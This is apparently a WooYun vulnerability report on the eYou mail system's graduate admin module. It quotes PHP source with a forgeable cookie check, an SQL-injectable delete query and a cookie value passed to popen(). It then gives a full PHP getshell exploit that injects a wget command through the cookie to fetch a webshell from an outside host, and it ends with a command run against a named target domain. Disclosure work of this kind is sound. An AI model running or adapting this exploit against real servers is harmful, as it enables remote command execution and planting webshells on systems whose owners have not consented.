WooYun.org

ValidateCookie();
// 定义毕业用户管理后台的常量
// 修改者：fenghui <fenghui@eyou.net>
// 修改日期：2007/06/27
define('GRAD_TPL_PATH', 'tpl/grad/admin/cn/style1/');  // 毕业用户管理后台模板路径
define('COOKIE_TIMEOUT', 1800);  // 管理后台登录有效时长
define('MYSQL_ADMIN_DB', 'email_user');  // 管理员账户的mysql数据库名

function ValidateCookie()
{
    //add by yangfeng on 2007-03-29 start 访问$lang中的值
    global $lang;
//    print_r($_COOKIE);
//    echo $_COOKIE["cookie"].'<br>';
//    echo $_COOKIE['admin'];
    //end
    if(empty($_COOKIE["cookie"]) || empty($_COOKIE['admin']))// 这里
    {
        show_msg($lang['TIMEOUT'],$lang['VALIDATECOOKIE'],0,"javascript:window.top.location.href='/grad/admin/index.php';void(0);");
    }else
    {   
        setcookie('cookie', $_COOKIE["cookie"], time()+1800);
        setcookie('admin',  $_COOKIE['admin'], time()+1800);
        setcookie("admin_grad",$_COOKIE['admin_grad'],time()+1800);
    }
}

$admin_id = request('admin_id');
if (empty($admin_id) || $admin_id == '') {
	show_msg($lang['ERROR'], '参数错误，无法删除！', 0);
}
// 删除管理员
$mysql = new mysql(MYSQL_HOST, MYSQL_USER, MYSQL_PW, MYSQL_ADMIN_DB);
$mysql->connect();
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";
$mysql->query($query, true);
if ($mysql->affected_rows() != 1) {
	show_msg($lang['ERROR'], '无法从数据库中删除管理员！', 0);
}
show_msg($lang['SUCCESS'], '删除成功', 1, '/grad/admin/admin_list.php');
?>

$admin_id = request('admin_id');
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";

require_once("admin.config.php");//这里有权限验证，够造cookie可以绕过
//--获取变量
$domain = $_COOKIE['cookie'];
//是否上传图片
if(!file_exists($_FILES["logofile"]["tmp_name"]))
{
   show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_NOFILE'],0); 
   exit();
}
//判断上传的文件是否为图片
$uptypes=array('image/jpg','image/jpeg','image/png', 'image/pjpeg','image/gif','image/bmp','image/x-png'); 
if(!in_array($_FILES["logofile"]["type"], $uptypes))  
{
 show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_FILETYPE'],0);
 exit();
}
//判断图片大小
/*
if (filesize($_FILES["logofile"]["tmp_name"]) >= 204800){
    show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_BIG'],0);    
    exit();
}
*/
//获取上传目录  2007-04-06 wanglei
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
$res = fread($fp,1024);
if(!$res)
{
    show_msg($lang['ADMIN_MAINMENU_PATH_EROR']);
}

$domain = $_COOKIE['cookie'];
 ...
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
 ...

<?php
/*
 * Created By felixk3y ..
 * eYou getshell exploit ..
 */
 error_reporting(8);
 if($argc < 1){
    die('eyou_exp.php www.secmap.cn\r\n');
 }
 $host = $argv[1];
 $cookie ="admin=admin; cookie=1 || wget http://www.secmap.cn/1.txt -O /var/eyou/apache/htdocs/grad/admin/shell.php || 1";
 $bodys = upload();
 $res = httpRequest($host,$cookie,$bodys);
 $shell = "http://".$host."/grad/admin/shell.php";
 $re  = getshell($shell);
 if($re){
	echo "Success ..\nShell is :".$shell."\nPass is [ c ] .. \n";
 }else{
	echo "Getshell Failed ..\n";
 }
 function upload(){
	 $upload = "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $upload .= "Content-Disposition: form-data; name=\"logofile\"; filename=\"upload.php\"\r\n";
	 $upload .= "Content-Type: image/jpeg\r\n\r\n";
	 $upload .= "GIF89a1234567890\r\n";
	 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $upload .= "Content-Disposition: form-data; name=\"submit\"\r\n\r\n";
	 $upload .= "Upload\r\n";
	 $upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c--\r\n\r\n";
	 return $upload;
 }
 function getshell($url){
    $headers = get_headers($url);
    if(strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
		return true;
    } else {
		return false;
    }
}
 function httpRequest($host,$cookie,$body){
	 $data = '';
	 $data .= "POST /grad/admin/admin_logo_upload.php HTTP/1.1\r\n";
	 $data .= "Host: $host\r\n";
	 $data .= "Proxy-Connection: keep-alive\r\n";
	 $data .= "Content-Length: ".strlen($body)."\r\n";
	 $data .= "Cache-Control: max-age=0\r\n";
	 $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
	 $data .= "Origin: null\r\n";
	 $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
	 $data .= "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
	 $data .= "Accept-Encoding: gzip,deflate,sdch\r\n";
	 $data .= "Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\r\n";
	 $data .= "Cookie: ".$cookie."\r\n\r\n";
	 $data .= $body;
	 $fp = @fsockopen($host, 80);
     if(!$fp){
		 exit('Could not connect to: ' . $host);
     }else{
		 fwrite($fp, $data);
         $resp = '';
         while(!feof($fp)) {
            $resp .= fread($fp, 1024);
         }
         fclose($fp);
     }
     return $resp;
}
?>

eyou_exp.php cma.org.cn